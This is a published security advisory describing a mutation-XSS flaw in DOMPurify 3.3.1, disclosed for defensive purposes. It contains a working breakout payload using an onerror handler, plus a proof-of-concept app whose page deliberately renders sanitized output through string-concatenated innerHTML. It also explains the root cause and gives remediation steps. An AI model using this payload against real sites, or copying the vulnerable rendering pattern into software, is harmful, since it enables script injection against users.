GHSA-H8R8-WCCR-V5F2

Vulnerability from github – Published: 2026-03-27 20:41 – Updated: 2026-03-27 20:41
VLAI
Summary
DOMPurify is vulnerable to mutation-XSS via Re-Contextualization
Details

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

  1. Start the PoC app:
npm install
npm start
  1. Open http://localhost:3001.
  2. Set Wrapper en sink to xmp.
  3. Use payload:
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.
  2. Observe:
  3. Sanitized response still contains the </xmp> sequence inside alt.
  4. The sink reparses to include <img src="x" onerror="alert('expoc')">.
  5. alert('expoc') is triggered.
  6. Files:
  7. index.html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #22c55e;
        background: #f0fdf4;
      }

      @media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>
  • server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
  • package.json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

  • PoC

daft-video.webm

  • XSS triggered daft-img

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

  • Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
  • Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
  • Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

  1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
  2. Keep the rendering context stable from sanitize to sink.
  3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
  4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
  5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T20:41:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `\u003cxmp\u003e ... \u003c/xmp\u003e` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `\u003c/xmp\u003e` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`\u003cimg ... onerror=...\u003e`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \u003cimg src=x alt=\"\u003c/xmp\u003e\u003cimg src=x onerror=alert(\u0027expoc\u0027)\u003e\"\u003e\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `\u003c/xmp\u003e` sequence inside `alt`.\n- The sink reparses to include `\u003cimg src=\"x\" onerror=\"alert(\u0027expoc\u0027)\"\u003e`.\n- `alert(\u0027expoc\u0027)` is triggered.\n7. Files:\n- index.html\n\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eexpoc - DOMPurify SSR PoC\u003c/title\u003e\n    \u003cstyle\u003e\n      :root {\n        --bg: #f7f8fb;\n        --panel: #ffffff;\n        --line: #d8dce6;\n        --text: #0f172a;\n        --muted: #475569;\n        --accent: #0ea5e9;\n      }\n\n      * {\n        box-sizing: border-box;\n      }\n\n      body {\n        margin: 0;\n        font-family: \"SF Mono\", Menlo, Consolas, monospace;\n        color: var(--text);\n        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);\n      }\n\n      main {\n        max-width: 980px;\n        margin: 28px auto;\n        padding: 0 16px 20px;\n      }\n\n      h1 {\n        margin: 0 0 10px;\n        font-size: 1.45rem;\n      }\n\n      p {\n        margin: 0;\n        color: var(--muted);\n      }\n\n      .grid {\n        display: grid;\n        gap: 14px;\n        margin-top: 16px;\n      }\n\n      .card {\n        background: var(--panel);\n        border: 1px solid var(--line);\n        border-radius: 12px;\n        padding: 14px;\n      }\n\n      label {\n        display: block;\n        margin-bottom: 7px;\n        font-size: 0.85rem;\n        color: var(--muted);\n      }\n\n      textarea,\n      input,\n      select,\n      button {\n        width: 100%;\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 9px 10px;\n        font: inherit;\n        background: #fff;\n      }\n\n      textarea {\n        min-height: 110px;\n        resize: vertical;\n      }\n\n      .row {\n        display: grid;\n        grid-template-columns: 1fr 230px;\n        gap: 12px;\n      }\n\n      button {\n        cursor: pointer;\n        background: var(--accent);\n        color: #fff;\n        border-color: #0284c7;\n      }\n\n      #sink {\n        min-height: 90px;\n        border: 1px dashed #94a3b8;\n        border-radius: 8px;\n        padding: 10px;\n        background: #f8fafc;\n      }\n\n      pre {\n        margin: 0;\n        white-space: pre-wrap;\n        word-break: break-word;\n      }\n\n      .note {\n        margin-top: 8px;\n        font-size: 0.85rem;\n      }\n\n      .status-grid {\n        display: grid;\n        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));\n        gap: 8px;\n        margin-top: 10px;\n      }\n\n      .status-item {\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 8px 10px;\n        font-size: 0.85rem;\n        background: #fff;\n      }\n\n      .status-item.vuln {\n        border-color: #ef4444;\n        background: #fef2f2;\n      }\n\n      .status-item.safe {\n        border-color: #22c55e;\n        background: #f0fdf4;\n      }\n\n      @media (max-width: 760px) {\n        .row {\n          grid-template-columns: 1fr;\n        }\n      }\n    \u003c/style\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cmain\u003e\n      \u003ch1\u003eexpoc - DOMPurify Server-Side PoC\u003c/h1\u003e\n      \u003cp\u003e\n        Flujo: input -\u003e POST /sanitize (Node + jsdom + DOMPurify) -\u003e render vulnerable con innerHTML.\n      \u003c/p\u003e\n\n      \u003cdiv class=\"grid\"\u003e\n        \u003csection class=\"card\"\u003e\n          \u003clabel for=\"payload\"\u003ePayload\u003c/label\u003e\n          \u003ctextarea id=\"payload\"\u003e\u003cimg src=x alt=\"\u003c/script\u003e\u003cimg src=x onerror=alert(\u0027expoc\u0027)\u003e\"\u003e\u003c/textarea\u003e\n          \u003cdiv class=\"row\" style=\"margin-top: 10px;\"\u003e\n            \u003cdiv\u003e\n              \u003clabel for=\"wrapper\"\u003eWrapper en sink\u003c/label\u003e\n              \u003cselect id=\"wrapper\"\u003e\n                \u003coption value=\"div\"\u003ediv\u003c/option\u003e\n                \u003coption value=\"textarea\"\u003etextarea\u003c/option\u003e\n                \u003coption value=\"title\"\u003etitle\u003c/option\u003e\n                \u003coption value=\"style\"\u003estyle\u003c/option\u003e\n                \u003coption value=\"script\" selected\u003escript\u003c/option\u003e\n                \u003coption value=\"xmp\"\u003exmp\u003c/option\u003e\n                \u003coption value=\"iframe\"\u003eiframe\u003c/option\u003e\n                \u003coption value=\"noembed\"\u003enoembed\u003c/option\u003e\n                \u003coption value=\"noframes\"\u003enoframes\u003c/option\u003e\n                \u003coption value=\"noscript\"\u003enoscript\u003c/option\u003e\n              \u003c/select\u003e\n            \u003c/div\u003e\n            \u003cdiv style=\"display:flex;align-items:end;\"\u003e\n              \u003cbutton id=\"run\" type=\"button\"\u003eSanitize + Render\u003c/button\u003e\n            \u003c/div\u003e\n          \u003c/div\u003e\n          \u003cp class=\"note\"\u003eSe usa render vulnerable: \u003ccode\u003esink.innerHTML = \u0027\u0026lt;wrapper\u0026gt;\u0027 + sanitized + \u0027\u0026lt;/wrapper\u0026gt;\u0027\u003c/code\u003e.\u003c/p\u003e\n          \u003cdiv class=\"status-grid\"\u003e\n            \u003cdiv class=\"status-item vuln\"\u003escript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003exmp (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003eiframe (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoembed (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoframes (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoscript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003ediv (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etextarea (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etitle (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003estyle (no vulnerable)\u003c/div\u003e\n          \u003c/div\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSanitized response\u003c/label\u003e\n          \u003cpre id=\"sanitized\"\u003e(empty)\u003c/pre\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSink\u003c/label\u003e\n          \u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n        \u003c/section\u003e\n      \u003c/div\u003e\n    \u003c/main\u003e\n\n    \u003cscript\u003e\n      const payload = document.getElementById(\u0027payload\u0027);\n      const wrapper = document.getElementById(\u0027wrapper\u0027);\n      const run = document.getElementById(\u0027run\u0027);\n      const sanitizedNode = document.getElementById(\u0027sanitized\u0027);\n      const sink = document.getElementById(\u0027sink\u0027);\n\n      run.addEventListener(\u0027click\u0027, async () =\u003e {\n        const response = await fetch(\u0027/sanitize\u0027, {\n          method: \u0027POST\u0027,\n          headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n          body: JSON.stringify({ input: payload.value })\n        });\n\n        const data = await response.json();\n        const sanitized = data.sanitized || \u0027\u0027;\n        const w = wrapper.value;\n\n        sanitizedNode.textContent = sanitized;\n        sink.innerHTML = \u0027\u003c\u0027 + w + \u0027\u003e\u0027 + sanitized + \u0027\u003c/\u0027 + w + \u0027\u003e\u0027;\n      });\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n- server.js\n\n```js\nconst express = require(\u0027express\u0027);\nconst path = require(\u0027path\u0027);\nconst { JSDOM } = require(\u0027jsdom\u0027);\nconst createDOMPurify = require(\u0027dompurify\u0027);\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM(\u0027\u0027).window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, \u0027public\u0027)));\n\napp.get(\u0027/health\u0027, (_req, res) =\u003e {\n  res.json({ ok: true, service: \u0027expoc\u0027 });\n});\n\napp.post(\u0027/sanitize\u0027, (req, res) =\u003e {\n  const input = typeof req.body?.input === \u0027string\u0027 ? req.body.input : \u0027\u0027;\n  const sanitized = DOMPurify.sanitize(input);\n  res.json({ sanitized });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n  \"name\": \"expoc\",\n  \"version\": \"1.0.0\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\",\n    \"start\": \"node server.js\",\n    \"dev\": \"node server.js\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"description\": \"\",\n  \"dependencies\": {\n    \"dompurify\": \"^3.3.1\",\n    \"express\": \"^5.2.1\",\n    \"jsdom\": \"^28.1.0\"\n  }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\u003cimg width=\"2746\" height=\"1588\" alt=\"daft-img\" src=\"https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15\" /\u003e\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (`\u003c/xmp\u003e`) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including `\u003c/xmp\u003e`, `\u003c/noscript\u003e`, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers\u0027 willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).",
  "id": "GHSA-h8r8-wccr-v5f2",
  "modified": "2026-03-27T20:41:29Z",
  "published": "2026-03-27T20:41:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify is vulnerable to mutation-XSS via Re-Contextualization "
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.